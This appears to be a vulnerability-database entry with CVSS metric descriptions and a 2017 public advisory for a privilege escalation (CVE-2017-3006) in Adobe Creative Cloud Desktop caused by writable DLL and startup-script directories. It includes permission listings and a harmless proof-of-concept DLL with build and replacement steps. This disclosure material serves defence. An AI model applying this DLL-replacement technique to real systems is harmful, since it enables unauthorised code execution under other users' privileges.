The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Adobe Creative Cloud Desktop Application <= v4.0.0.185 Privilege Escalation[+] Credits: John Page aka hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/ADOBE-CREATIVE-CLOUD-PRIVILEGE-ESCALATION.txt
[+] ISR: apparitionSec
Vendor:
==============
www.adobe.com
Product:
========================================
Adobe Creative Cloud Desktop Application
<= v4.0.0.185
Vulnerability Type:
=====================
Privilege Escalation
CVE Reference:
==============
CVE-2017-3006
APSB17-13
Vulnerability Details:
=====================
Adobe CC uses weak insecure permissions settings on the "Adobe Photoshop dll & Startup Scripts" directories. This may allow authenticated users
to execute arbitrary code in the security context of ANY other users with elevated privileges on the affected system. Issue is the 'C' flag
(Change) for 'Authenticated Users' group.
References:
============
https://helpx.adobe.com/security/products/creative-cloud/apsb17-13.html
e.g.
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>cacls * | more
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libifcoremd.dll BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls\libmmd.dll BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\Program Files (x86)\Common Files\Adobe\32 bit Photoshop dlls>ls -lt
total 2407
-rwxr-xr-x 1 Test Administ 895184 Jun 3 2016 libifcoremd.dll
-rwxr-xr-x 1 Test Administ 4033464 Jun 3 2016 libmmd.dll
/////////// AND /////////////////////
C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop>cacls * | more
C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop BUILTIN\Administrators:(ID)F
BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
NT AUTHORITY\SYSTEM:(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
C:\Program Files (x86)\Common Files\Adobe\Startup Scripts CC\Adobe Photoshop\photoshop.jsx BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
Exploit/POC code(s):
====================
Compile below DLL 'C' code name it as "libifcoremd.dll"
Replace existing Adobe CC "libifcoremd.dll" file, wait for it to be referenced.
#include <windows.h>
BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){
switch (reason) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, NULL, "PWN!", MB_OK);
break;
}
return TRUE;
}
gcc -c libifcoremd.c
gcc -shared -o libifcoremd.dll libifcoremd.o
Disclosure Timeline:
========================================
Vendor Notification: January 25, 2017
Vendor updates Adobe CC : April 11, 2017
April 12, 2017 : Public Disclosure
Exploitation Technique:
=======================
Local
Severity Level:
===============
Medium
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
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